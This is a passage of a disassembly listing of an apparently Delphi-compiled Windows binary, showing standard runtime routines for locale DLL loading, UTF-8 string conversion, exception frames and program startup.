
loc_20005283:				; CODE XREF: sub_20005118+179j
		dec	ebx


loc_20005284:				; CODE XREF: sub_20005118+169j
		cmp	byte ptr [ebx],	2Eh
		jz	short loc_20005293
		lea	eax, [ebp+ValueName]
		cmp	ebx, eax
		jnz	short loc_20005283


loc_20005293:				; CODE XREF: sub_20005118+16Fj
		lea	eax, [ebp+ValueName]
		cmp	ebx, eax
		jz	loc_2000533E
		inc	ebx
		cmp	[ebp+String2], 0
		jz	short loc_200052D0
		mov	edx, ebx
		sub	edx, eax
		mov	eax, 105h
		sub	eax, edx
		push	eax		; iMaxLength
		lea	eax, [ebp+String2]
		push	eax		; lpString2
		push	ebx		; lpString1
		call	lstrcpynA
		push	2		; dwFlags
		push	0		; hFile
		lea	eax, [ebp+ValueName]
		push	eax		; lpLibFileName
		call	LoadLibraryExA
		mov	esi, eax


loc_200052D0:				; CODE XREF: sub_20005118+18Ej
		test	esi, esi
		jnz	short loc_2000533E
		cmp	[ebp+LCData], 0
		jz	short loc_2000533E
		lea	eax, [ebp+ValueName]
		mov	edx, ebx
		sub	edx, eax
		mov	eax, 105h
		sub	eax, edx
		push	eax		; iMaxLength
		lea	eax, [ebp+LCData]
		push	eax		; lpString2
		push	ebx		; lpString1
		call	lstrcpynA
		push	2		; dwFlags
		push	0		; hFile
		lea	eax, [ebp+ValueName]
		push	eax		; lpLibFileName
		call	LoadLibraryExA
		mov	esi, eax
		test	esi, esi
		jnz	short loc_2000533E
		mov	[ebp+var_B], 0
		lea	eax, [ebp+ValueName]
		mov	edx, ebx
		sub	edx, eax
		mov	eax, 105h
		sub	eax, edx
		push	eax		; iMaxLength
		lea	eax, [ebp+LCData]
		push	eax		; lpString2
		push	ebx		; lpString1
		call	lstrcpynA
		push	2		; dwFlags
		push	0		; hFile
		lea	eax, [ebp+ValueName]
		push	eax		; lpLibFileName
		call	LoadLibraryExA
		mov	esi, eax


loc_2000533E:				; CODE XREF: sub_20005118+13Dj
					; sub_20005118+14Dj ...
		mov	eax, esi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_20005118	endp

; ---------------------------------------------------------------------------
		align 4
; char SubKey[]
SubKey		db 'Software\Borland\Locales',0 ; DATA XREF: sub_20005118+30o
					; sub_20005118+4Eo
		align 4
; char aSoftwareBorl_1[]
aSoftwareBorl_1	db 'Software\Borland\Delphi\Locales',0 ; DATA XREF: sub_20005118+6Co
; char ValueName[]
ValueName	db 4 dup(0)		; DATA XREF: sub_20005118+D4o

; =============== S U B	R O U T	I N E =======================================



sub_20005388	proc near		; CODE XREF: CODE:200126D4p
		call	sub_20005398
		retn
sub_20005388	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_20005390	proc near		; CODE XREF: CODE:2001266Ep
		call	sub_200053B8
		retn
sub_20005390	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_20005398	proc near		; CODE XREF: sub_20005388p
		push	ebx
		mov	ebx, eax
		mov	eax, 8
		call	sub_20002668
		mov	edx, ds:dword_20014038
		mov	[eax], edx
		mov	[eax+4], ebx
		mov	ds:dword_20014038, eax
		pop	ebx
		retn
sub_20005398	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_200053B8	proc near		; CODE XREF: sub_20005390p
		push	ebx
		push	esi
		mov	esi, ds:dword_20014038
		test	esi, esi
		jz	short loc_200053E6
		mov	edx, [esi+4]
		cmp	edx, eax
		jnz	short loc_200053E6
		mov	eax, ds:dword_20014038
		mov	eax, [eax]
		mov	ds:dword_20014038, eax
		mov	edx, 8
		mov	eax, esi
		call	sub_20002688
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_200053E6:				; CODE XREF: sub_200053B8+Aj
					; sub_200053B8+11j
		mov	edx, esi
		test	edx, edx
		jz	short loc_20005413


loc_200053EC:				; CODE XREF: sub_200053B8+59j
		mov	ecx, [edx]
		test	ecx, ecx
		jz	short loc_2000540D
		mov	ebx, [ecx+4]
		cmp	ebx, eax
		jnz	short loc_2000540D
		mov	esi, ecx
		mov	eax, [ecx]
		mov	[edx], eax
		mov	edx, 8
		mov	eax, esi
		call	sub_20002688
		jmp	short loc_20005413
; ---------------------------------------------------------------------------


loc_2000540D:				; CODE XREF: sub_200053B8+38j
					; sub_200053B8+3Fj
		mov	edx, [edx]
		test	edx, edx
		jnz	short loc_200053EC


loc_20005413:				; CODE XREF: sub_200053B8+32j
					; sub_200053B8+53j
		pop	esi
		pop	ebx
		retn
sub_200053B8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_20005418	proc near		; CODE XREF: sub_20005484+1Bp

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_4], eax
		mov	eax, ds:dword_20014038
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_2000546B


loc_20005432:				; CODE XREF: sub_20005418+51j
		xor	eax, eax
		push	ebp
		push	offset loc_20005453
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	ebx, [ebp+var_8]
		mov	eax, [ebp+var_4]
		call	dword ptr [ebx+4]
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		jmp	short loc_2000545D
; ---------------------------------------------------------------------------


loc_20005453:				; DATA XREF: sub_20005418+1Do
		jmp	sub_200038A4
; ---------------------------------------------------------------------------
		call	sub_20003A84


loc_2000545D:				; CODE XREF: sub_20005418+39j
		mov	eax, [ebp+var_8]
		mov	eax, [eax]
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jnz	short loc_20005432


loc_2000546B:				; CODE XREF: sub_20005418+18j
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_20005418	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_20005474	proc near		; CODE XREF: sub_20005C40+5p
		mov	edx, ds:dword_20014034
		mov	[eax], edx
		mov	ds:dword_20014034, eax
		retn
sub_20005474	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_20005484	proc near		; CODE XREF: sub_20003EB8+70p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], eax
		xor	edx, edx
		push	ebp
		push	offset loc_200054E8
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		mov	eax, [ebp+var_4]
		mov	eax, [eax+4]
		call	sub_20005418
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_200054EF


loc_200054B1:				; CODE XREF: sub_20005484+69j
		mov	eax, [ebp+var_4]
		cmp	eax, ds:dword_20014034
		jnz	short loc_200054C8
		mov	eax, [ebp+var_4]
		mov	eax, [eax]
		mov	ds:dword_20014034, eax
		jmp	short loc_200054E7
; ---------------------------------------------------------------------------


loc_200054C8:				; CODE XREF: sub_20005484+36j
		mov	eax, ds:dword_20014034
		test	eax, eax
		jz	short loc_200054E7


loc_200054D1:				; CODE XREF: sub_20005484+61j
		mov	edx, [eax]
		cmp	edx, [ebp+var_4]
		jnz	short loc_200054E1
		mov	edx, [ebp+var_4]
		mov	edx, [edx]
		mov	[eax], edx
		jmp	short loc_200054E7
; ---------------------------------------------------------------------------


loc_200054E1:				; CODE XREF: sub_20005484+52j
		mov	eax, [eax]
		test	eax, eax
		jnz	short loc_200054D1


loc_200054E7:				; CODE XREF: sub_20005484+42j
					; sub_20005484+4Bj ...
		retn
; ---------------------------------------------------------------------------


loc_200054E8:				; DATA XREF: sub_20005484+Ao
		jmp	loc_200039D0
; ---------------------------------------------------------------------------
		jmp	short loc_200054B1
; ---------------------------------------------------------------------------


loc_200054EF:				; CODE XREF: sub_20005484:loc_200054E7j
					; DATA XREF: sub_20005484+28o
		pop	ecx
		pop	ebp
		retn
sub_20005484	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_200054F4	proc near		; CODE XREF: sub_200035A8+7Ep
					; sub_2000493C+BFp ...
		mov	edx, [eax]
		test	edx, edx
		jz	short locret_20005508
		mov	dword ptr [eax], 0
		push	eax
		push	edx
		mov	eax, [edx]
		call	dword ptr [eax+8]
		pop	eax

locret_20005508:			; CODE XREF: sub_200054F4+4j
		retn
sub_200054F4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_2000550C	proc near		; CODE XREF: sub_20003578+27j
					; sub_200035A8+63p ...
		test	edx, edx
		jz	short loc_20005529
		push	edx
		push	eax
		mov	eax, [edx]
		push	edx
		call	dword ptr [eax+4]
		pop	eax
		mov	ecx, [eax]
		pop	dword ptr [eax]
		test	ecx, ecx
		jnz	short loc_20005522
		retn
; ---------------------------------------------------------------------------


loc_20005522:				; CODE XREF: sub_2000550C+13j
		mov	eax, [ecx]
		push	ecx
		call	dword ptr [eax+8]
		retn
; ---------------------------------------------------------------------------


loc_20005529:				; CODE XREF: sub_2000550C+2j
		mov	ecx, [eax]
		test	ecx, ecx
		mov	[eax], edx
		jz	short locret_20005537
		mov	eax, [ecx]
		push	ecx
		call	dword ptr [eax+8]

locret_20005537:			; CODE XREF: sub_2000550C+23j
		retn
sub_2000550C	endp


; =============== S U B	R O U T	I N E =======================================



sub_20005538	proc near		; DATA XREF: CODE:20001130o
					; CODE:20006EA8o
		add	eax, 4
		push	eax		; lpAddend
		call	InterlockedDecrement
		retn
sub_20005538	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_20005544	proc near		; DATA XREF: CODE:20001134o
					; CODE:20006EACo
		cmp	dword ptr [eax+4], 0
		jz	short locret_20005551
		mov	al, 2
		call	sub_20002750
; ---------------------------------------------------------------------------

locret_20005551:			; CODE XREF: sub_20005544+4j
		retn
sub_20005544	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_20005554	proc near		; DATA XREF: CODE:20001140o
					; CODE:20006EB8o
		call	sub_2000348C
		mov	dword ptr [eax+4], 1
		retn
sub_20005554	endp

; ---------------------------------------------------------------------------
		align 4
		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+8]
		mov	ecx, [ebp+10h]
		mov	edx, [ebp+0Ch]
		mov	eax, ebx
		call	sub_200035A8
		test	al, al
		jz	short loc_20005580
		xor	eax, eax
		jmp	short loc_20005585
; ---------------------------------------------------------------------------


loc_20005580:				; CODE XREF: CODE:2000557Aj
		mov	eax, 80004002h


loc_20005585:				; CODE XREF: CODE:2000557Ej
		pop	ebx
		pop	ebp
		retn	0Ch
; ---------------------------------------------------------------------------
		align 4
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+8]
		add	eax, 4
		push	eax
		call	InterlockedIncrement
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	ebx, [ebp+8]
		lea	eax, [ebx+4]
		push	eax
		call	InterlockedDecrement
		mov	esi, eax
		test	esi, esi
		jnz	short loc_200055C0
		mov	dl, 1
		mov	eax, ebx
		mov	ecx, [eax]
		call	dword ptr [ecx-4]


loc_200055C0:				; CODE XREF: CODE:200055B5j
		mov	eax, esi
		pop	esi
		pop	ebx
		pop	ebp
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_200055C8	proc near		; CODE XREF: sub_20012F40+2FAp

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jnz	short loc_200055D6
		xor	eax, eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_200055D6:				; CODE XREF: sub_200055C8+8j
		call	ds:off_20014040
		pop	ebp
		retn
sub_200055C8	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_200055E0	proc near		; CODE XREF: sub_200057F4+61p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		push	ebx
		push	esi
		mov	[ebp+var_8], ecx
		mov	[ebp+var_4], edx
		xor	edx, edx
		cmp	[ebp+var_8], 0
		jz	loc_200056B2
		xor	esi, esi
		xor	ecx, ecx
		test	eax, eax
		jz	loc_2000568D
		jmp	short loc_20005674
; ---------------------------------------------------------------------------


loc_20005608:				; CODE XREF: sub_200055E0+9Cj
		mov	edx, [ebp+var_8]
		movzx	edx, word ptr [edx+ecx*2]
		inc	ecx
		cmp	edx, 7Fh
		ja	short loc_2000561B
		mov	[eax+esi], dl
		inc	esi
		jmp	short loc_20005674
; ---------------------------------------------------------------------------


loc_2000561B:				; CODE XREF: sub_200055E0+33j
		cmp	edx, 7FFh
		jbe	short loc_20005654
		lea	ebx, [esi+3]
		cmp	ebx, [ebp+var_4]
		ja	short loc_2000567E
		mov	ebx, edx
		shr	ebx, 0Ch
		or	bl, 0E0h
		mov	[eax+esi], bl
		mov	ebx, edx
		shr	ebx, 6
		and	bl, 3Fh
		or	bl, 80h
		mov	[eax+esi+1], bl
		and	dl, 3Fh
		or	dl, 80h
		mov	[eax+esi+2], dl
		add	esi, 3
		jmp	short loc_20005674
; ---------------------------------------------------------------------------


loc_20005654:				; CODE XREF: sub_200055E0+41j
		lea	ebx, [esi+2]
		cmp	ebx, [ebp+var_4]
		ja	short loc_2000567E
		mov	ebx, edx
		shr	ebx, 6
		or	bl, 0C0h
		mov	[eax+esi], bl
		and	dl, 3Fh
		or	dl, 80h
		mov	[eax+esi+1], dl
		add	esi, 2


loc_20005674:				; CODE XREF: sub_200055E0+26j
					; sub_200055E0+39j ...
		cmp	ecx, [ebp+arg_0]
		jnb	short loc_2000567E
		cmp	esi, [ebp+var_4]
		jb	short loc_20005608


loc_2000567E:				; CODE XREF: sub_200055E0+49j
					; sub_200055E0+7Aj ...
		cmp	esi, [ebp+var_4]
		jb	short loc_20005687
		mov	esi, [ebp+var_4]
		dec	esi


loc_20005687:				; CODE XREF: sub_200055E0+A1j
		mov	byte ptr [eax+esi], 0
		jmp	short loc_200056AF
; ---------------------------------------------------------------------------


loc_2000568D:				; CODE XREF: sub_200055E0+20j
		cmp	ecx, [ebp+arg_0]
		jnb	short loc_200056AF


loc_20005692:				; CODE XREF: sub_200055E0+CDj
		mov	eax, [ebp+var_8]
		movzx	edx, word ptr [eax+ecx*2]
		inc	ecx
		cmp	edx, 7Fh
		jbe	short loc_200056A9
		cmp	edx, 7FFh
		jbe	short loc_200056A8
		inc	esi


loc_200056A8:				; CODE XREF: sub_200055E0+C5j
		inc	esi


loc_200056A9:				; CODE XREF: sub_200055E0+BDj
		inc	esi
		cmp	ecx, [ebp+arg_0]
		jb	short loc_20005692


loc_200056AF:				; CODE XREF: sub_200055E0+ABj
					; sub_200055E0+B0j
		lea	edx, [esi+1]


loc_200056B2:				; CODE XREF: sub_200055E0+14j
		mov	eax, edx
		pop	esi
		pop	ebx
		pop	ecx
		pop	ecx
		pop	ebp
		retn	4
sub_200055E0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_200056BC	proc near		; CODE XREF: sub_200058A0+59p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF0h
		push	ebx
		push	esi
		mov	[ebp+var_C], ecx
		mov	[ebp+var_8], edx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_C], 0
		jnz	short loc_200056DD
		xor	eax, eax
		mov	[ebp+var_10], eax
		jmp	loc_200057E6
; ---------------------------------------------------------------------------


loc_200056DD:				; CODE XREF: sub_200056BC+15j
		mov	[ebp+var_10], 0FFFFFFFFh
		xor	eax, eax
		xor	esi, esi
		cmp	[ebp+var_4], 0
		jz	loc_2000579B
		jmp	loc_20005779
; ---------------------------------------------------------------------------


loc_200056F7:				; CODE XREF: sub_200056BC+C5j
		mov	edx, [ebp+var_C]
		xor	ecx, ecx
		mov	cl, [edx+esi]
		inc	esi
		test	cl, 80h
		jz	short loc_20005771
		cmp	esi, [ebp+arg_0]
		jnb	loc_200057E6
		and	ecx, 3Fh
		test	cl, 20h
		jz	short loc_20005744
		mov	edx, [ebp+var_C]
		mov	dl, [edx+esi]
		inc	esi
		mov	ebx, edx
		and	bl, 0C0h
		cmp	bl, 80h
		jnz	loc_200057E6
		cmp	esi, [ebp+arg_0]
		jnb	loc_200057E6
		and	dl, 3Fh
		and	edx, 0FFh
		shl	ecx, 6
		or	edx, ecx
		mov	ecx, edx


loc_20005744:				; CODE XREF: sub_200056BC+58j
		mov	edx, [ebp+var_C]
		mov	dl, [edx+esi]
		inc	esi
		mov	ebx, edx
		and	bl, 0C0h
		cmp	bl, 80h
		jnz	loc_200057E6
		and	dl, 3Fh
		and	edx, 0FFh
		shl	ecx, 6
		or	dx, cx
		mov	ecx, [ebp+var_4]
		mov	[ecx+eax*2], dx
		jmp	short loc_20005778
; ---------------------------------------------------------------------------


loc_20005771:				; CODE XREF: sub_200056BC+47j
		mov	edx, [ebp+var_4]
		mov	[edx+eax*2], cx


loc_20005778:				; CODE XREF: sub_200056BC+B3j
		inc	eax


loc_20005779:				; CODE XREF: sub_200056BC+36j
		cmp	esi, [ebp+arg_0]
		jnb	short loc_20005787
		cmp	eax, [ebp+var_8]
		jb	loc_200056F7


loc_20005787:				; CODE XREF: sub_200056BC+C0j
		cmp	eax, [ebp+var_8]
		jb	short loc_20005790
		mov	eax, [ebp+var_8]
		dec	eax


loc_20005790:				; CODE XREF: sub_200056BC+CEj
		mov	edx, [ebp+var_4]
		mov	word ptr [edx+eax*2], 0
		jmp	short loc_200057E2
; ---------------------------------------------------------------------------


loc_2000579B:				; CODE XREF: sub_200056BC+30j
		cmp	esi, [ebp+arg_0]
		jnb	short loc_200057E2


loc_200057A0:				; CODE XREF: sub_200056BC+124j
		mov	edx, [ebp+var_C]
		mov	dl, [edx+esi]
		inc	esi
		test	dl, 80h
		jz	short loc_200057DC
		cmp	esi, [ebp+arg_0]
		jnb	short loc_200057E6
		and	dl, 3Fh
		test	dl, 20h
		jz	short loc_200057CD
		mov	edx, [ebp+var_C]
		mov	dl, [edx+esi]
		inc	esi
		and	dl, 0C0h
		cmp	dl, 80h
		jnz	short loc_200057E6
		cmp	esi, [ebp+arg_0]
		jnb	short loc_200057E6


loc_200057CD:				; CODE XREF: sub_200056BC+FBj
		mov	edx, [ebp+var_C]
		mov	dl, [edx+esi]
		inc	esi
		and	dl, 0C0h
		cmp	dl, 80h
		jnz	short loc_200057E6


loc_200057DC:				; CODE XREF: sub_200056BC+EEj
		inc	eax
		cmp	esi, [ebp+arg_0]
		jb	short loc_200057A0


loc_200057E2:				; CODE XREF: sub_200056BC+DDj
					; sub_200056BC+E2j
		inc	eax
		mov	[ebp+var_10], eax


loc_200057E6:				; CODE XREF: sub_200056BC+1Cj
					; sub_200056BC+4Cj ...
		mov	eax, [ebp+var_10]
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	4
sub_200056BC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_200057F4	proc near		; CODE XREF: sub_20005944+28p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0
		push	ebx
		push	esi
		mov	esi, edx
		mov	ebx, eax
		xor	eax, eax
		push	ebp
		push	offset loc_20005893
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, esi
		call	sub_20003FA8
		mov	eax, ebx
		xor	edx, edx
		call	sub_200047DC
		jz	short loc_2000587D
		mov	eax, ebx
		call	sub_200047D0
		lea	edx, [eax+eax*2]
		lea	eax, [ebp+var_4]
		call	sub_200045D0
		mov	eax, ebx
		call	sub_200047D0
		push	eax
		mov	eax, [ebp+var_4]
		call	sub_20004244
		inc	eax
		push	eax
		mov	eax, ebx
		call	sub_200047C0
		push	eax
		mov	eax, [ebp+var_4]
		call	sub_20004444
		pop	ecx
		pop	edx
		call	sub_200055E0
		test	eax, eax
		jle	short loc_2000586B
		mov	edx, eax
		dec	edx
		lea	eax, [ebp+var_4]
		call	sub_200045D0
		jmp	short loc_20005873
; ---------------------------------------------------------------------------


loc_2000586B:				; CODE XREF: sub_200057F4+68j
		lea	eax, [ebp+var_4]
		call	sub_20003FA8


loc_20005873:				; CODE XREF: sub_200057F4+75j
		mov	eax, esi
		mov	edx, [ebp+var_4]
		call	sub_20003FFC


loc_2000587D:				; CODE XREF: sub_200057F4+29j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_2000589A


loc_2000588A:				; CODE XREF: sub_200057F4+A4j
		lea	eax, [ebp+var_4]
		call	sub_20003FA8
		retn
; ---------------------------------------------------------------------------


loc_20005893:				; DATA XREF: sub_200057F4+Eo
		jmp	loc_200039D0
; ---------------------------------------------------------------------------
		jmp	short loc_2000588A
; ---------------------------------------------------------------------------


loc_2000589A:				; CODE XREF: sub_200057F4+9Ej
					; DATA XREF: sub_200057F4+91o
		pop	esi
		pop	ebx
		pop	ecx
		pop	ebp
		retn
sub_200057F4	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_200058A0	proc near		; CODE XREF: sub_20011FAC+ADp

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0
		push	ebx
		push	esi
		mov	esi, edx
		mov	ebx, eax
		xor	eax, eax
		push	ebp
		push	offset loc_20005937
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, esi
		call	sub_20004664
		test	ebx, ebx
		jz	short loc_20005921
		mov	eax, ebx
		call	sub_20004244
		mov	edx, eax
		lea	eax, [ebp+var_4]
		call	sub_200048AC
		mov	eax, ebx
		call	sub_20004244
		push	eax
		mov	eax, [ebp+var_4]
		call	sub_200047D0
		inc	eax
		push	eax
		mov	eax, ebx
		call	sub_20004444
		push	eax
		mov	eax, [ebp+var_4]
		call	sub_200047C0
		pop	ecx
		pop	edx
		call	sub_200056BC
		test	eax, eax
		jle	short loc_2000590F
		mov	edx, eax
		dec	edx
		lea	eax, [ebp+var_4]
		call	sub_200048AC
		jmp	short loc_20005917
; ---------------------------------------------------------------------------


loc_2000590F:				; CODE XREF: sub_200058A0+60j
		lea	eax, [ebp+var_4]
		call	sub_20004664


loc_20005917:				; CODE XREF: sub_200058A0+6Dj
		mov	eax, esi
		mov	edx, [ebp+var_4]
		call	sub_200046A0


loc_20005921:				; CODE XREF: sub_200058A0+22j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_2000593E


loc_2000592E:				; CODE XREF: sub_200058A0+9Cj
		lea	eax, [ebp+var_4]
		call	sub_20004664
		retn
; ---------------------------------------------------------------------------


loc_20005937:				; DATA XREF: sub_200058A0+Eo
		jmp	loc_200039D0
; ---------------------------------------------------------------------------
		jmp	short loc_2000592E
; ---------------------------------------------------------------------------


loc_2000593E:				; CODE XREF: sub_200058A0+96j
					; DATA XREF: sub_200058A0+89o
		pop	esi
		pop	ebx
		pop	ecx
		pop	ebp
		retn
sub_200058A0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_20005944	proc near		; CODE XREF: sub_200124D8+1Ep

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0
		push	ebx
		push	esi
		mov	esi, edx
		mov	ebx, eax
		xor	eax, eax
		push	ebp
		push	offset loc_20005987
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		lea	eax, [ebp+var_4]
		mov	edx, ebx
		call	sub_200047B0
		mov	eax, [ebp+var_4]
		mov	edx, esi
		call	sub_200057F4
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_2000598E


loc_2000597E:				; CODE XREF: sub_20005944+48j
		lea	eax, [ebp+var_4]
		call	sub_20004664
		retn
; ---------------------------------------------------------------------------


loc_20005987:				; DATA XREF: sub_20005944+Eo
		jmp	loc_200039D0
; ---------------------------------------------------------------------------
		jmp	short loc_2000597E
; ---------------------------------------------------------------------------


loc_2000598E:				; CODE XREF: sub_20005944+42j
					; DATA XREF: sub_20005944+35o
		pop	esi
		pop	ebx
		pop	ecx
		pop	ebp
		retn
sub_20005944	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_20005994	proc near		; CODE XREF: sub_20003D54+16p
					; sub_20009D9C+2Ep ...

Buffer		= byte ptr -408h

		push	ebx
		push	esi
		add	esp, 0FFFFFC00h
		mov	esi, edx
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_200059E1
		cmp	dword ptr [ebx+4], 10000h
		jge	short loc_200059D7
		push	400h		; cchBufferMax
		lea	eax, [esp+40Ch+Buffer]
		push	eax		; lpBuffer
		mov	eax, [ebx+4]
		push	eax		; uID
		mov	eax, [ebx]
		mov	eax, [eax]
		call	sub_20004F24
		push	eax		; hInstance
		call	LoadStringA
		mov	ecx, eax
		mov	edx, esp
		mov	eax, esi
		call	sub_20004098
		jmp	short loc_200059E1
; ---------------------------------------------------------------------------


loc_200059D7:				; CODE XREF: sub_20005994+17j
		mov	eax, esi
		mov	edx, [ebx+4]
		call	sub_200041A0


loc_200059E1:				; CODE XREF: sub_20005994+Ej
					; sub_20005994+41j
		add	esp, 400h
		pop	esi
		pop	ebx
		retn
sub_20005994	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_200059EC	proc near		; CODE XREF: sub_20005AB4+ADp
					; sub_20005AB4+BEp

var_10		= dword	ptr -10h
LCData		= byte ptr -0Bh
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF0h
		push	ebx
		xor	edx, edx
		mov	[ebp+var_10], edx
		xor	edx, edx
		push	ebp
		push	offset loc_20005A52
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		push	7		; cchData
		lea	edx, [ebp+LCData]
		push	edx		; lpLCData
		push	1004h		; LCType
		push	eax		; Locale
		call	GetLocaleInfoA
		lea	eax, [ebp+var_10]
		lea	edx, [ebp+LCData]
		mov	ecx, 7
		call	sub_20004218
		mov	eax, [ebp+var_10]
		lea	edx, [ebp+var_4]
		call	sub_20002F88
		mov	ebx, eax
		cmp	[ebp+var_4], 0
		jz	short loc_20005A3C
		xor	ebx, ebx


loc_20005A3C:				; CODE XREF: sub_200059EC+4Cj
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_20005A59


loc_20005A49:				; CODE XREF: sub_200059EC+6Bj
		lea	eax, [ebp+var_10]
		call	sub_20003FA8
		retn
; ---------------------------------------------------------------------------


loc_20005A52:				; DATA XREF: sub_200059EC+Fo
		jmp	loc_200039D0
; ---------------------------------------------------------------------------
		jmp	short loc_20005A49
; ---------------------------------------------------------------------------


loc_20005A59:				; CODE XREF: sub_200059EC+65j
					; DATA XREF: sub_200059EC+58o
		mov	eax, ebx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_200059EC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_20005A60	proc near		; DATA XREF: CODE:200132C0o
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_20005AAA
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_200155B4
		jnz	short loc_20005A9C
		mov	eax, offset dword_20015048
		call	sub_20002D94
		mov	eax, offset dword_20015214
		call	sub_20002D94
		mov	eax, offset dword_200153E0
		call	sub_20002D94
		call	sub_20001A6C


loc_20005A9C:				; CODE XREF: sub_20005A60+17j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_20005AB1


loc_20005AA9:				; CODE XREF: sub_20005A60+4Fj
		retn
; ---------------------------------------------------------------------------


loc_20005AAA:				; DATA XREF: sub_20005A60+6o
		jmp	loc_200039D0
; ---------------------------------------------------------------------------
		jmp	short loc_20005AA9
; ---------------------------------------------------------------------------


loc_20005AB1:				; CODE XREF: sub_20005A60:loc_20005AA9j
					; DATA XREF: sub_20005A60+44o
		pop	ebp
		retn
sub_20005A60	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_20005AB4	proc near		; DATA XREF: CODE:200132BCo
		sub	ds:dword_200155B4, 1
		jnb	locret_20005B86
		mov	ds:byte_20014008, 2
		mov	ds:dword_20015014, offset RaiseException
		mov	ds:dword_20015018, offset RtlUnwind
		mov	ds:byte_20015046, 2
		mov	ds:dword_20015000, offset loc_20004C5C
		call	sub_20003364
		test	al, al
		jz	short loc_20005AFB
		call	sub_20003394


loc_20005AFB:				; CODE XREF: sub_20005AB4+40j
		call	sub_20003458
		mov	ds:word_2001504C, 0D7B0h
		mov	ds:word_20015218, 0D7B0h
		mov	ds:word_200153E4, 0D7B0h
		call	GetCommandLineA
		mov	ds:dword_2001503C, eax
		call	sub_200012B8
		mov	ds:dword_20015038, eax
		call	GetVersion
		and	eax, 80000000h
		cmp	eax, 80000000h
